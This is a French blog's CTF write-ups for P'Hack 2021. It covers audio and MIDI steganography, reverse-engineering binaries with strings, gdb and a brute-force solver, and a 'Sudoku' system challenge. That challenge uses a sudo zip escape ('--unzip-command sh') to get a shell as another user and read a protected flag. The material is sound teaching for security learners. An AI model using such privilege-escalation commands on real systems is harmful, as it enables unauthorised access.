<!--kg-card-end: markdown--><p>Petite astuce ici si comme moi vous avez la flemme de recopier le flag depuis l&apos;image : <a href="https://azure.microsoft.com/en-us/services/cognitive-services/computer-vision/#features">https://azure.microsoft.com/en-us/services/cognitive-services/computer-vision/#features</a> on upload l&apos;image sur ce lien en sp&#xE9;cifiant l&apos;action &quot;Read Text&quot; et on r&#xE9;cup&#xE8;re le texte en quelques secondes.</p><h2 id="aliens-256pts">Aliens - 256pts</h2><blockquote>Enfiiiiin!! Nous avons finalement re&#xE7;u une r&#xE9;ponse &#xE0; nos signaux intergalactiques. Un son a &#xE9;t&#xE9; capt&#xE9; et enregistr&#xE9; venant de l&apos;espace. C&apos;est s&#xFB;r &#xE7;a doit vouloir dire quelque chose.</blockquote><p><em>Fichier disponible ici <a href="https://blog.julienmialon.com/uploads/ctf/phack/weird.wav">https://blog.julienmialon.com/uploads/ctf/phack/weird.wav</a></em></p><p>On tente dans un premier temps de lire le fichier son, on entends quelque chose qui pourrait correspondre &#xE0; du morse dans un premier temps puis un passage qui ne ressemble &#xE0; rien avant de finir sur quelque chose qui pourrait &#xEA;tre du morse.</p><p>On ouvre le fichier dans Audacity et on obtient la visualisation suivante </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-31.png" class="kg-image" alt loading="lazy" width="1901" height="158" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-31.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-31.png 1000w, https://blog.julienmialon.com/content/images/size/w1600/2021/04/image-31.png 1600w, https://blog.julienmialon.com/content/images/2021/04/image-31.png 1901w" sizes="(min-width: 720px) 720px"></figure><p>Rien ne semblait concluant &#xE0; partir de l&#xE0;, je suis donc parti sur compl&#xE9;tement autre chose en cherchant des informations dans les bits de poids faible o&#xF9; en tentant de passer le fichier en st&#xE9;r&#xE9;o alors qu&apos;il est en mono &#xE0; la base. La solution &#xE9;tait bien plus simple ! Il suffisait d&apos;afficher le fichier en mode spectrogramme dans Audacity.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-32.png" class="kg-image" alt loading="lazy" width="1904" height="156" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-32.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-32.png 1000w, https://blog.julienmialon.com/content/images/size/w1600/2021/04/image-32.png 1600w, https://blog.julienmialon.com/content/images/2021/04/image-32.png 1904w" sizes="(min-width: 720px) 720px"></figure><p>Et on peut lire relativement clairement le flag </p><!--kg-card-begin: markdown--><pre><code class="language-text">PHACK{i7_s0uNds_l1k3_w3jd3n3}
</code></pre>
<!--kg-card-end: markdown--><h2 id="une-douce-petite-musique-256pts">Une Douce Petite Musique - 256pts</h2><blockquote>Avec vos talents de hacker vous interceptez un &#xE9;change plut&#xF4;t louche.</blockquote><p><a href="https://blog.julienmialon.com/uploads/ctf/phack/message1.eml">https://blog.julienmialon.com/uploads/ctf/phack/message1.eml</a></p><p><a href="https://blog.julienmialon.com/uploads/ctf/phack/message2.eml">https://blog.julienmialon.com/uploads/ctf/phack/message2.eml</a></p><p>On a donc deux emails ici, commen&#xE7;ons par les lire, le premier : </p><blockquote>Coucou Patoche,<br>Ci-joint le secret qu&apos;il te manquait pour m&apos;envoyer un message s&#xE9;curis&#xE9;.<br>Bisous</blockquote><p>Avec un fichier joint sous format .ods</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-33.png" class="kg-image" alt loading="lazy" width="1467" height="276" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-33.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-33.png 1000w, https://blog.julienmialon.com/content/images/2021/04/image-33.png 1467w" sizes="(min-width: 720px) 720px"></figure><p>Et le second message : </p><blockquote>Coucou David,<br>Ci-joint un message super secret, personne ne va jamais trouver avec notre technique futuriste !<br>XOXO<br>-- <br>Patricia</blockquote><p>Avec en pi&#xE8;ce jointe un fichier son midi. On tente de lire le fichier, un joli son de piano en sort, aucun morceau connu en tout cas. On passe notre fichier son dans <a href="https://solmire.com/miditosheetmusic/">https://solmire.com/miditosheetmusic/</a> pour r&#xE9;cup&#xE9;rer la partition.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-34.png" class="kg-image" alt loading="lazy" width="840" height="1090" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-34.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-34.png 840w" sizes="(min-width: 720px) 720px"></figure><p>La derni&#xE8;re notre est la plus haute de toute la partition, c&apos;est un La, autrement not&#xE9; A dans la notation am&#xE9;ricaine, si jamais cette partition correspond &#xE0; notre flag, &#xE7;a matcherait avec le tableau qu&apos;on avait au d&#xE9;but. Bon par contre soyons clair, il est hors de question, vu le nombre de note, de d&#xE9;coder &#xE7;a &#xE0; la main. On v&#xE9;rifie tout de m&#xEA;me les premi&#xE8;res pour &#xEA;tre sur de notre th&#xE9;orie, on obtient PHACK si on suppose que le sol de la cl&#xE9; de sol correspond au sol deuxi&#xE8;me ligne de notre tableau.</p><!--kg-card-begin: markdown--><p>On va charger notre fichier midi avec python et voir ce qu&apos;il y a dedans</p>
<pre><code class="language-python">from mido import MidiFile

file = MidiFile(&apos;musique1.mid&apos;, clip=True)
print(file)

for track in file.tracks:
    print(track)
    for msg in track: 
        print(msg)
</code></pre>
<pre><code class="language-text">$ python read_music.py 
&lt;midi file &apos;musique1.mid&apos; type 1, 2 tracks, 338 messages&gt;
&lt;midi track &apos;from la-bamba.mid&apos; 6 messages&gt;
&lt;meta message text text=&apos;note track&apos; time=0&gt;
&lt;meta message set_tempo tempo=400000 time=0&gt;
&lt;meta message key_signature key=&apos;G&apos; time=0&gt;
&lt;meta message time_signature numerator=4 denominator=4 clocks_per_click=48 notated_32nd_notes_per_beat=8 time=0&gt;
&lt;meta message track_name name=&apos;from la-bamba.mid&apos; time=0&gt;
&lt;meta message end_of_track time=89306&gt;
&lt;midi track &apos;from la-bamba.mid&apos; 332 messages&gt;
&lt;meta message text text=&apos;note track&apos; time=0&gt;
&lt;meta message track_name name=&apos;from la-bamba.mid&apos; time=0&gt;
&lt;meta message text text=&apos; 1 sharps&apos; time=0&gt;
note_on channel=0 note=55 velocity=105 time=2881
note_off channel=0 note=55 velocity=0 time=479
note_on channel=0 note=93 velocity=80 time=1
note_off channel=0 note=93 velocity=0 time=479
[...]
</code></pre>
<p>On observe une premi&#xE8;re track qui contient quelques meta data mais rien de plus, on peut donc l&apos;ignorer et la partie qui nous int&#xE9;resse commence sur la deuxi&#xE8;me track avec toutes les notes. On va faire &#xE9;voluer un peu notre script pour r&#xE9;cup&#xE9;rer les valeurs des notes justement.</p>
<pre><code class="language-python">from mido import MidiFile

file = MidiFile(&apos;musique1.mid&apos;, clip=True)
notes=[]
for track in file.tracks:
    for msg in track: 
        if msg.type == &apos;note_on&apos;:
            notes.append(msg.note)
print(*notes)
</code></pre>
<pre><code class="language-text">$ python read_music.py 
55 93 67 81 59 54 66 67 83 83 64 90 62 95 66 83 62 66 76 62 64 66 67 83 83 64 90 62 95 66 83 62 66 76 62 64 66 62 60 66 76 67 88 95 62 66 71 67 86 57 62 95 66 83 62 57 66 71 88 67 72 83 62 57 66 62 60 66 83 62 57 66 71 88 62 64 48 66 67 83 83 64 90 62 95 66 83 62 66 76 62 64 66 67 83 83 64 90 62 95 66 83 62 66 76 62 64 66 62 60 66 78 79 88 95 66 74 95 67 86 71 88 95 66 83 67 66 76 83 67 90 90 62 66 71 67 86 57 66 78 79 57 66 84 62 64 48 66 67 83 83 64 90 62 95 66 83 62 66 76 62 64 66 105
</code></pre>
<p>On tient quelque chose l&#xE0;, on va r&#xE9;cup&#xE9;rer les valeurs min et max pour obtenir l&apos;intervalle <code>[48-105]</code> &#xE7;a parait coh&#xE9;rent (5 octaves, 12 demi-tons par octave, on s&apos;attend &#xE0; avoir un intervalle de cet ordre). Ce qui nous rassure en plus c&apos;est que le nombre de note unique est de 25 soit moins que le nombre de cellule dans notre tableau. On obtient facilement la liste des notes ordon&#xE9;es :</p>
<pre><code>48 54 55 57 59 60 62 64 66 67 71 72 74 76 78 79 81 83 84 86 88 90 93 95 105
</code></pre>
<p>Et il ne nous reste plus qu&apos;&#xE0; savoir comment faire matcher le tableau secret qu&apos;on a eu au d&#xE9;but et nos notes. On va essayer d&apos;associer les valeurs des notes midi avec leurs valeurs dans la notation am&#xE9;ricaine, peut &#xEA;tre qu&apos;on y vera plus clair. On part du tableau suivant, la seule subtilit&#xE9; ici sera de ne pas se tromper avec les demi-tons mi-fa et si-do alors qu&apos;il y a un ton complet entre les autres notes.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-36.png" class="kg-image" alt loading="lazy" width="560" height="235"></figure><p>Les notes ainsi obtenu vont de C3 (48) jusqu&apos;&#xE0; A7 (105). Il semblerait qu&apos;on ai juste a prendre notre tableau et &#xE0; lui faire +2 sur les lignes et on devrait obtenir la correspondance que l&apos;on souhaite.</p><!--kg-card-begin: markdown--><pre><code class="language-python">from mido import MidiFile

file = MidiFile(&apos;musique1.mid&apos;, clip=True)
notes=[]
for track in file.tracks:
    for msg in track: 
        if msg.type == &apos;note_on&apos;:
            notes.append(msg.note)
print(*notes)
print(&quot;min&quot;, min(notes))
print(&quot;max&quot;, max(notes))
print(&quot;set count&quot;, len(set(notes)))

table = list(sorted(list(set(notes))))
print(*table)
mapped = []
baseline=[&apos;C&apos;, &apos;C&apos;, &apos;D&apos;, &apos;D&apos;, &apos;E&apos;, &apos;F&apos;, &apos;F&apos;, &apos;G&apos;, &apos;G&apos;, &apos;A&apos;, &apos;A&apos;, &apos;B&apos;]
for note in table:
    basenote = note % 12
    octave = int(note / 12) - 1
    mapped.append((note, baseline[basenote]+str(octave)))

# print(*mapped, sep=&apos;\n&apos;)

decoder = [
    &quot;SKXJZ{P&quot;,
    &quot;WDTEU_A&quot;,
    &quot;CLBGFVO&quot;,
    &quot;HRYNIMQ&quot;,
    &quot;}&quot;
]
for note in notes: 
    basenote = note % 12
    octave = int(note / 12) - 4
    letter = baseline[basenote]
    letterIndex = ord(letter) - ord(&apos;A&apos;)
    print(decoder[octave][letterIndex], end=&apos;&apos;)
print(&quot;&quot;)
</code></pre>
<p>Le script python nous permet de r&#xE9;cup&#xE9;rer le flag sans aucun probl&#xE8;me, la version condens&#xE9; du script, nettoy&#xE9;e des &#xE9;l&#xE9;ments inutiles :</p>
<pre><code class="language-python">from mido import MidiFile

file = MidiFile(&apos;musique1.mid&apos;, clip=True)
baseline=[&apos;C&apos;, &apos;C&apos;, &apos;D&apos;, &apos;D&apos;, &apos;E&apos;, &apos;F&apos;, &apos;F&apos;, &apos;G&apos;, &apos;G&apos;, &apos;A&apos;, &apos;A&apos;, &apos;B&apos;]
decoder = [ &quot;SKXJZ{P&quot;, &quot;WDTEU_A&quot;, &quot;CLBGFVO&quot;, &quot;HRYNIMQ&quot;, &quot;}&quot; ]
for track in file.tracks:
    for msg in track: 
        if msg.type == &apos;note_on&apos;:
            octave = int(msg.note / 12) - 4
            letter = ord(baseline[msg.note % 12]) - ord(&apos;A&apos;)
            print(decoder[octave][letter], end=&apos;&apos;)
print(&quot;&quot;)
</code></pre>
<p>Et le r&#xE9;sultat :</p>
<pre><code class="language-text">$ python read_music.py 
PHACK{_ALLUMER_LE_FEU_ALLUMER_LE_FEU_ET_FAIRE_DANSER_LES_DIABLES_ET_LES_DIEUX_ALLUMER_LE_FEU_ALLUMER_LE_FEU_ET_VOIR_GRANDIR_LA_FLAMME_DANS_VOS_YEUX_ALLUMER_LE_FEU_}
</code></pre>
<p>On pourra dire ce qu&apos;on veut, la version originale est quand m&#xEA;me mieux que la version midi fournie ici :D</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[P'Hack - Reverse]]></title><description><![CDATA[<h2 id="tendu-comme-un-slip-64pts">Tendu comme un slip - 64pts</h2><blockquote>Vous vous souvenez de la cl&#xE9; USB d&apos;il y a quelques semaines ?<br>On a oubli&#xE9; de vous dire qu&apos;il y avait ce fichier aussi.<br>On doit s&#xFB;rement pouvoir en tirer quelque chose..</blockquote><p><a href="https://blog.julienmialon.com/uploads/ctf/phack/tendu">https://blog.julienmialon.com/</a></p>]]></description><link>https://blog.julienmialon.com/phack-reverse/</link><guid isPermaLink="false">6073053d09b5560001f63c5b</guid><category><![CDATA[ctf]]></category><category><![CDATA[ctf-phack]]></category><category><![CDATA[ctf-reverse]]></category><dc:creator><![CDATA[Julien Mialon]]></dc:creator><pubDate>Mon, 12 Apr 2021 16:18:55 GMT</pubDate><content:encoded><![CDATA[<h2 id="tendu-comme-un-slip-64pts">Tendu comme un slip - 64pts</h2><blockquote>Vous vous souvenez de la cl&#xE9; USB d&apos;il y a quelques semaines ?<br>On a oubli&#xE9; de vous dire qu&apos;il y avait ce fichier aussi.<br>On doit s&#xFB;rement pouvoir en tirer quelque chose..</blockquote><p><a href="https://blog.julienmialon.com/uploads/ctf/phack/tendu">https://blog.julienmialon.com/uploads/ctf/phack/tendu</a></p><!--kg-card-begin: markdown--><p>Un simple appel &#xE0; strings nous permet ici de r&#xE9;cup&#xE9;rer le flag</p>
<pre><code class="language-text">$ strings tendu
</code></pre>
<pre><code class="language-text">PHACK{s1mplY_5tr1ng5_i7}
</code></pre>
<!--kg-card-end: markdown--><h2 id="no-strings-128pts">No strings - 128pts</h2><blockquote>Encore un dr&#xF4;le de fichier. <br>Votre expertise nous est tr&#xE8;s utile.</blockquote><p><a href="https://blog.julienmialon.com/uploads/ctf/phack/no-strings">https://blog.julienmialon.com/uploads/ctf/phack/no-strings</a></p><p>Bon ici, on lance notre d&#xE9;compilateur favori et on va voir ce qu&apos;il se passe, on r&#xE9;cup&#xE8;re une fonction main qui malheureusement ne fait pas grand chose</p><!--kg-card-begin: markdown--><pre><code class="language-cpp">int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf(&quot;&gt; &quot;);
  fgets(s, 50, _bss_start);
  puts(&amp;::s);
  return 0;
}
</code></pre>
<p>Quoiqu&apos;il arrive, elle affichera toujours la m&#xEA;me chose. En parcourant la liste des fonctions disponible, on tombe sur <code>display_flag</code>, &#xE7;a semble prometteur. Pour le coup le code para&#xEE;t beaucoup plus int&#xE9;ressant :</p>
<pre><code class="language-cpp">unsigned __int64 display_flag()
{
  char src; // [rsp+2h] [rbp-6Eh] BYREF
  char v2; // [rsp+3h] [rbp-6Dh] BYREF
  // [...]
  unsigned __int64 v38; // [rsp+68h] [rbp-8h]

  v38 = __readfsqword(0x28u);
  v31 = &quot;i_t33Am4_rdRfii&quot;;
  v32 = &quot;Ce7d_K_hH0{}nP5&quot;;
  strcpy(dest, &quot;Well done! The is &quot;);
  v34 = 0LL;
  v35 = 0LL;
  v36 = 0LL;
  v37 = 0;
  src = aCe7dKHh0Np5[13];
  strncat(dest, &amp;src, 1uLL);
  v2 = v32[8];
  strncat(dest, &amp;v2, 1uLL);
  v3 = v31[5];
  strncat(dest, &amp;v3, 1uLL);
  v4 = *v32;
  // [...]
  strncat(dest, &amp;v29, 1uLL);
  v30 = v32[11];
  strncat(dest, &amp;v30, 1uLL);
  puts(dest);
  return v38 - __readfsqword(0x28u);
}
</code></pre>
<p>Il semble que le flag soit cr&#xE9;&#xE9; caract&#xE8;re par caract&#xE8;re dans cette m&#xE9;thode. Je me doute qu&apos;il est tout &#xE0; fait possible de copier/coller le code et de l&apos;ex&#xE9;cuter et il y a des chances qu&apos;on r&#xE9;cup&#xE8;re le flag sans probl&#xE8;me. N&#xE9;anmoins, puisque la m&#xE9;thode se donne la peine de faire un puts une fois que le flag est construit, on va tenter une m&#xE9;thode plus simple en lan&#xE7;ant l&apos;ex&#xE9;cutable avec <code>gdb</code>.</p>
<pre><code class="language-text">$ gdb no-strings
(gdb) br main # on set un breakpoint au d&#xE9;marrage de la fonction main
Breakpoint 1 at 0x1623
(gdb) run
Starting program: no-strings 
Breakpoint 1, 0x0000555555555623 in main ()
(gdb) call display_flag()
Well done! The is PHACK{r34d_it_fR0m_th3_in5ide}
$1 = 0
</code></pre>
<p>Et voil&#xE0; on obtient le flag tr&#xE8;s simplement. (On notera d&apos;ailleurs le mot manquant entre <code>The</code> et <code>is</code> ;-)</p>
<pre><code class="language-text">PHACK{r34d_it_fR0m_th3_in5ide}
</code></pre>
<!--kg-card-end: markdown--><h2 id="military-grade-password-512pts">Military Grade Password - 512pts</h2><blockquote>Fraichement arriv&#xE9; dans l&apos;arm&#xE9;e, vous avez d&#xE9;j&#xE0; perdu votre identifiant pour acc&#xE9;der &#xE0; l&apos;intranet.<br><br>D&#xE9;p&#xEA;chez-vous de le retrouver avant que quelqu&apos;un ne s&apos;en aper&#xE7;oive ! Le flag est attendu au format PHACK{identifiant}</blockquote><p><a href="https://blog.julienmialon.com/uploads/ctf/phack/military_grade_password.zip">https://blog.julienmialon.com/uploads/ctf/phack/military_grade_password.zip</a></p><p>Idem que le pr&#xE9;c&#xE9;dent, on commence par charger le fichier dans le d&#xE9;compilateur, on r&#xE9;cup&#xE8;re la fonction main sans trop de probl&#xE8;me.</p><!--kg-card-begin: markdown--><pre><code class="language-cpp">__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char input[104]; // [rsp+0h] [rbp+0h] BYREF
  unsigned __int64 vars68; // [rsp+68h] [rbp+68h]

  vars68 = __readfsqword(0x28u);
  puts(&quot;55th Infantry Division identify checker&quot;);
  printf(&quot;Personal access ID: &quot;);
  __isoc99_scanf(&quot;%s&quot;, input);
  if ( sub_1530(input) )
    puts(&quot;[+] ACCESS GRANTED!&quot;);
  else
    puts(&quot;[+] ACCES REJECTED!&quot;);
  return 0LL;
}
</code></pre>
<p>Contrairement au pr&#xE9;c&#xE9;dent, on voit cette fois ci que l&apos;input sert &#xE0; quelque chose puisqu&apos;elle est pass&#xE9;e &#xE0; la m&#xE9;thode sub_1530 pour &#xEA;tre v&#xE9;rifi&#xE9;, on va de ce pas voir cette m&#xE9;thode</p>
<pre><code class="language-cpp">_BOOL8 __fastcall sub_1530(char *a1)
{
  int v1; // esi
  int v2; // er9
  int v3; // er8
  int v4; // ecx
  int v5; // edx
  _BOOL4 v6; // er10
  int v8; // er12
  int v9; // er14
  int v10; // er15
  int v11; // ebp
  int v12; // [rsp+0h] [rbp-5Ch]
  int v13; // [rsp+8h] [rbp-54h]
  int v14; // [rsp+Ch] [rbp-50h]
  int v15; // [rsp+10h] [rbp-4Ch]
  int v16; // [rsp+14h] [rbp-48h]
  int v17; // [rsp+18h] [rbp-44h]
  char v18; // [rsp+1Ch] [rbp-40h]
  int v19; // [rsp+20h] [rbp-3Ch]
  int v20; // [rsp+24h] [rbp-38h]
  int v21; // [rsp+28h] [rbp-34h]

  v1 = a1[6];
  v2 = a1[14];
  v3 = a1[12];
  v4 = a1[10];
  v5 = a1[13];
  v6 = 0;
  if ( v2 * v1 * (v5 ^ (v3 - v4)) == 16335 )
  {
    v8 = a1[7];
    v9 = a1[18];
    v12 = a1[15];
    v18 = a1[1];
    if ( ((char)(a1[18] ^ v18) ^ (v12 - v8)) == 83 )
    {
      v14 = a1[17];
      v13 = a1[16];
      v15 = a1[5];
      v16 = a1[9];
      v17 = *a1;
      if ( (v14 - v13) * (v17 ^ (v16 + v15)) == -5902 )
      {
        v19 = a1[3];
        v10 = a1[11];
        if ( v19 - v10 == 11 )
        {
          v11 = a1[4];
          v21 = a1[2];
          v20 = a1[8];
          if ( (v20 ^ (v11 + v21)) == 3
            &amp;&amp; v20 + v12 - v11 == 176
            &amp;&amp; (v1 ^ ((char)(v4 ^ a1[9]) - v9 - v10)) == -199
            &amp;&amp; v21 * v13 + v18 * (char)(*a1 ^ a1[17]) == 9985
            &amp;&amp; v5 * v2 - v8 == 2083
            &amp;&amp; v3 + v19 - v15 == 110
            &amp;&amp; v5 + v16 + v4 * v20 == 5630
            &amp;&amp; v15 - v13 - v17 - v21 == -182
            &amp;&amp; v14 * (char)(v2 ^ a1[7]) == 7200
            &amp;&amp; v18 * v19 + v10 * v1 == 17872
            &amp;&amp; v3 - v12 - v11 * v9 == -5408
            &amp;&amp; v19 * v12 + v21 * v10 == 18888
            &amp;&amp; v13 * (v15 + v5) == 15049
            &amp;&amp; v14 * (v4 + v17) == 12150
            &amp;&amp; (char)(v2 ^ v1) * v9 == 10080
            &amp;&amp; v8 + v3 - v11 == 132 )
          {
            v6 = v16 * v18 + v20 == 2453;
          }
        }
      }
    }
  }
  return v6;
}
</code></pre>
<p>On est dans le cas typique d&apos;un syst&#xE8;me d&apos;&#xE9;quation o&#xF9; la string qu&apos;on fourni en entr&#xE9;e doit valider les diff&#xE9;rentes conditions pour &#xEA;tre valide. On renomme toutes les variables pour qu&apos;elles aient un nom qui correspond &#xE0; l&apos;indice dans le tableau en entr&#xE9;e et on extrait les diff&#xE9;rentes conditions pour obtenir</p>
<pre><code class="language-text">id3 - id11 == 11
id12 + id3 - id5 == 110
id7 + id12 - id4 == 132
id8 + id15 - id4 == 176
(id8 ^ (id4 + id2)) == 3
id3 * id15 + id2 * id11 == 18888
id5 - id16 - id0 - id2 == -182
id16 * (id5 + id13) == 15049
id12 - id15 - id4 * id18 == -5408

((id18 ^ id1) ^ (id15 - id7)) == 83
id1 * id3 + id11 * id6 == 17872
id9 * id1 + id8 == 2453
id13 * id14 - id7 == 2083
id13 + id9 + id10 * id8 == 5630
id17 * (id10 + id0) == 12150

id14 * id6 * (id13 ^ (id12 - id10)) == 16335
(id17 - id16) * (id0 ^ (id9 + id5)) == -5902
(id6 ^ ((char)(id10 ^ id9) - id18 - id11)) == -199
id17 * (char)(id14 ^ id7) == 7200
id2 * id16 + id1 * (char)(id0 ^ id17) == 9985
(id14 ^ id6) * id18 == 10080
</code></pre>
<p>Une fois ces equations disponible, &#xE7;a n&apos;a pas l&apos;air si compliqu&#xE9;, un petit bout de programme C# plus tard on a un code fonctionnel pour r&#xE9;cup&#xE9;rer le flag</p>
<pre><code class="language-csharp">char[] id = new char[19];
for (var i = 0; i &lt; id.Length; i++)
{
    id[i] = &apos;&#xA4;&apos;;
}
for (int c11 = MIN ; c11 &lt; MAX; c11++) // id3 - id11 == 11                  =&gt; id3 = id11 + 11
{
    int c3 = c11 + 11;
    int expected12_5 = 110 - c3;
    for (int c5 = MIN; c5 &lt; MAX; c5++) // id12 + id3 - id5 == 110           =&gt; id12 - id5 = 110 - id3
    {
        int c12 = c5 + expected12_5;
        int expected7_4 = 132 - c12;
        for (int c4 = MIN; c4 &lt; MAX; c4++) // id7 + id12 - id4 == 132           =&gt; id7 - id4 = 132 - id12
        {
            int c7 = c4 + expected7_4;
            int expected8_15 = 176 + c4;
            for (int c8 = MIN; c8 &lt; MAX; c8++) // id8 + id15 - id4 == 176           =&gt; id8 + id15 = 176 + id4
            {
                int c15 = expected8_15 - c8;
                int c2 = (c8 ^ 3) - c4; // (id8 ^ (id4 + id2)) == 3          =&gt; id4 + id2 = 3 ^ id8
                if (c2 &lt; MIN || c2 &gt; MAX)
                {
                    continue;
                }

                if (c3 * c15 + c2 * c11 != 18888)
                {
                    continue;
                }

                int expected16_0 = 182 + c5 - c2;
                for (int c16 = MIN; c16 &lt; MAX; ++c16)
                {
                    int c0 = expected16_0 - c16;
                    int c13 = 15049 / c16 - c5;
                    int c18 = (5408 + c12 - c15) / c4;
                    int c1 = (83 ^ (c15 - c7)) ^ c18;
                    if (c0 &lt; MIN || c0 &gt; MAX) continue;
                    if (c1 &lt; MIN || c1 &gt; MAX) continue;
                    if (c13 &lt; MIN || c13 &gt; MAX) continue;
                    if (c18 &lt; MIN || c18 &gt; MAX) continue;

                    int c6 = (17872 - c1 * c3) / c11;
                    if (c6 &lt; MIN || c6 &gt; MAX) continue;
                    int c9 = (2453 - c8) / c1;
                    if (c9 &lt; MIN || c9 &gt; MAX) continue;
                    int c14 = (2083 + c7) / c13;
                    if (c14 &lt; MIN || c14 &gt; MAX) continue;
                    int c10 = (5630 - c13 - c9) / c8;
                    if (c10 &lt; MIN || c10 &gt; MAX) continue;
                    int c17 = 12150 / (c10 + c0);
                    if (c17 &lt; MIN || c17 &gt; MAX) continue;

                    if ((c14 * c6 * (c13 ^ (c12 - c10)) == 16335 &amp;&amp;
                        (c17 - c16) * (c0 ^ (c9 + c5)) == -5902 &amp;&amp;
                        (c6 ^ ((c10 ^ c9) - c18 - c11)) == -199 &amp;&amp;
                        c17 * (c14 ^ c7) == 7200 &amp;&amp;
                        c2 * c16 + c1 * (c0 ^ c17) == 9985 &amp;&amp;
                        (c14 ^ c6) * c18 == 10080
                        ))
                    {
                        id[0] = (char) c0; id[1] = (char) c1; // [...]
                        Console.WriteLine(new string(id));
                    }
                }
            }
        }
    }
}
</code></pre>
<p>En quelques secondes on r&#xE9;cup&#xE8;re la r&#xE9;ponse &#xE0; savoir <code>q4Eo-eyMq-1dd0-leKx</code> il ne nous reste plus qu&apos;&#xE0; soumettre notre flag</p>
<pre><code class="language-text">PHACK{q4Eo-eyMq-1dd0-leKx}
</code></pre>
<!--kg-card-end: markdown--><p>Un autre write-up fait par SoEasY pour ce challenge, qui notamment aborde l&apos;utilisation de Z3 (sur lequel il faut vraiment que je me mette &#xE0; regarder &#xE0; quoi &#xE7;a ressemble) et une seconde m&#xE9;thode plus originale &#xE0; base de angr.</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.soeasy.re/phack-ctf-reverse-engineering/#Military_Grade_Password"><div class="kg-bookmark-content"><div class="kg-bookmark-title">P&#x2019;Hack CTF &#x2013; Reverse Engineering &#x2013; SoEasY</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.soeasy.re/wp-content/uploads/2020/03/cropped-cropped-cropped-soeasy-192x192.jpg" alt><span class="kg-bookmark-author">SoEasY</span><span class="kg-bookmark-publisher">Auteur de l&#x2019;article Par SoEasY</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://www.soeasy.re/wp-content/uploads/2021/04/image-17-1.png" alt></div></a></figure>]]></content:encoded></item><item><title><![CDATA[P'Hack - System]]></title><description><![CDATA[<h2 id="sudoku-128pts">Sudoku - 128pts</h2><blockquote>Lors de l&apos;un de vos tests de s&#xE9;curit&#xE9;, vous compromettez un serveur applicatif. <br>Prouvez &#xE0; vos clients que vous pouvez obtenir des informations sensibles d&apos;autres utilisateurs. <br><br>=== Connexion SSH ===<br>Login : <code>padawan</code><br>Mdp : &#xA0;<code>padawan</code><br>Serveur :<code> sudoku.phack.fr</code></blockquote><p>On se connecte</p>]]></description><link>https://blog.julienmialon.com/phack-system/</link><guid isPermaLink="false">607306a709b5560001f63c81</guid><category><![CDATA[ctf]]></category><category><![CDATA[ctf-system]]></category><category><![CDATA[ctf-phack]]></category><dc:creator><![CDATA[Julien Mialon]]></dc:creator><pubDate>Sun, 11 Apr 2021 16:00:53 GMT</pubDate><content:encoded><![CDATA[<h2 id="sudoku-128pts">Sudoku - 128pts</h2><blockquote>Lors de l&apos;un de vos tests de s&#xE9;curit&#xE9;, vous compromettez un serveur applicatif. <br>Prouvez &#xE0; vos clients que vous pouvez obtenir des informations sensibles d&apos;autres utilisateurs. <br><br>=== Connexion SSH ===<br>Login : <code>padawan</code><br>Mdp : &#xA0;<code>padawan</code><br>Serveur :<code> sudoku.phack.fr</code></blockquote><p>On se connecte au serveur avec les identifiants fournis et on re&#xE7;oit le message d&apos;accueil suivant : </p><blockquote>Bienvenue !<br>Le flag se trouve dans /home/master/flag.txt<br>Malheureusement, tu n&apos;as pas les droits de le lire.<br>Trouves un moyen d&apos;y acc&#xE9;der par toi m&#xEA;me.<br>Bonne chance...</blockquote><!--kg-card-begin: markdown--><p>G&#xE9;n&#xE9;ralement dans ce genre de challenge, on commence par lancer la commande suivante pour r&#xE9;cup&#xE9;rer des informations sur ce qu&apos;on pourrait faire :</p>
<pre><code>$ sudo -l 
User padawan may run the following commands on sudoku:
    (master) NOPASSWD: /usr/bin/zip
</code></pre>
<p>On apprend qu&apos;on peut lancer la commande zip en tant que master sans mettre de mot de passe, c&apos;est plut&#xF4;t un bon d&#xE9;but. Un petit tour sur <a href="https://gtfobins.github.io/gtfobins/zip/">https://gtfobins.github.io/gtfobins/zip/</a> nous donne l&apos;information des param&#xE8;tres &#xE0; utiliser sur la commande <code>zip</code> pour otenir un shell. On lance donc les commandes suivantes :</p>
<pre><code class="language-text">$ cd /home/master
$ sudo -u master zip plop.zip flag.txt --test --unzip-command &apos;sh #&apos;
$ whoami
master
</code></pre>
<p>On a r&#xE9;ussi &#xE0; avoir un shell en tant que master, on a plus qu&apos;&#xE0; lire le fichier et le flag est disponible.</p>
<pre><code class="language-text">$ cat flag.txt 
PHACK{U_h4v3_tH3_suP3r_P0w3r}
</code></pre>
